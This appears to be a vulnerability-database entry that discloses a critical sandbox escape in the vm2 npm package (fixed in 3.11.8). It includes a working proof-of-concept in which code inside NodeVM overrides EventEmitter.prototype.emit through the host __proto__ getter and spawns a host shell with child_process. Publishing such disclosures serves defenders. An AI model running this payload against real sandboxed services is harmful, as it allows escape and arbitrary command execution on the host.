All vulnerabilities
CVE-2026-92955GHSA-88hf-g992-jg85

vm2: Sandbox Escape (NodeVM)

patriksimek vm2npmLibraries & packages
CVSS
10.0Critical
ExploitationPublic exploit codeCISA's assessment says proof of concept code is public, assessed 17 Sep 2026. Not in the KEV catalogCISA via CVE List
Exploit odds (EPSS)0.71%Chance of exploitation activity in the next 30 days, higher than 53% of CVEs. Scored 23 Oct 2026FIRST EPSS
Fixed in3.11.8Fixed versionGitHub
Published17 Sep 2026Updated 5 Oct 2026CVE List

What fixes it

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

Summary

It being possible to obtain the host __proto__ getter/setter, has been used in many reports:

  • https://github.com/patriksimek/vm2/security/advisories/GHSA-vwrp-x96c-mhwq
  • https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg
  • https://github.com/patriksimek/vm2/security/advisories/GHSA-grj5-jjm8-h35p
  • https://github.com/patriksimek/vm2/security/advisories/GHSA-47x8-96vw-5wg6

Yet it was never patched...

---

This can, still, be used to escape the sandbox, one example (I'm sure there's other ways as well), is via console._stdout/console._stderr (NodeVM with console: 'inherit', which is the default)

Details

The prototype chain for console._stdout/console._stderr is:

_stdout / _stderr
-> WriteStream (TTY only)
-> Socket
-> Duplex
-> Readable
-> Stream
-> EventEmitter

process is an EventEmitter, and nothing stops us from writing things to EventEmmiter.prototype

By overwriting EventEmmiter.prototype.emit with a function, and making process emit an event (e.g. exit, unhandledRejection etc.), we can execute code with this being process.

This also bypasses --disallow-code-generation-from-strings, which blocks the "usual" escape of obtaining the host function constructor.

PoC

const { NodeVM } = require("vm2");

code = `
const gP = Buffer.call.call(__lookupGetter__,67,'__proto__');

// vm __proto__ getter
console.log(__lookupGetter__.call(0,'__proto__').call(console._stderr)); // [Object: null prototype] {}

// host __proto__ getter
console.log(gP.call(console._stderr)); // Socket { [...] }

let p = console._stdout;
while (p.pipe) {
	console.log(p.constructor.name);
	p = gP.call(p);
};

p.emit = function(){
	console.log(this+[]);
	this.getBuiltinModule("child_process").execSync("sh",{stdio:"inherit"})
}
`;

const vm = new NodeVM();
vm.run(code);

Text from GitHub Advisory Database

Affected versions 4

  • vm2, npm<= 3.11.7GitHub
  • vm2affected: all versions before 3.11.8CVE List
  • vm2unaffected: 3.11.8CVE List
  • vm2, npmfrom first release, fixed in 3.11.8OSV

References 8